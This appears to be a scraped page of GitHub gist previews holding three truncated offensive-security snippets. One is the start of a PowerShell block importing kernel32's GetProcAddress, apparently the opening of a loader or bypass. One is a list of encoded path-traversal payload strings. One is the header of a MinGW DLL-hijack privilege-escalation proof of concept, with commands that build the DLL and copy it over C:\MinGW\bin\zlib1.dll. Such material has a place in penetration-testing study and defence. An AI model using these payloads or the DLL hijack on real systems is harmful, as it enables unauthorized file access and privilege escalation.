This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Win32 = @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class Win32 { | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Encoded Traversal Strings: | |
../ | |
..\ | |
..\/ | |
%2e%2e%2f | |
%252e%252e%252f | |
%c0%ae%c0%ae%c0%af | |
%uff0e%uff0e%u2215 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Author: Felipe Molina (@felmoltor) | |
// | |
// MinGW DLL Hijack Privilege Escalation POC. | |
// This dll will suplantate the legitimate library "zlib1.dll" residing inside | |
// the default installation folder of MinGW "C:\MinGW\bin\zlib1.dll" | |
// | |
// g++ -c -DPRIVESC_DLL mingwprivesc.dll.cpp & g++ -shared -o mingwprivesc.dll mingwprivesc.dll.o -Wl,--out-implib,main.a & copy /y mingwprivesc.dll C:\MinGW\bin\zlib1.dll |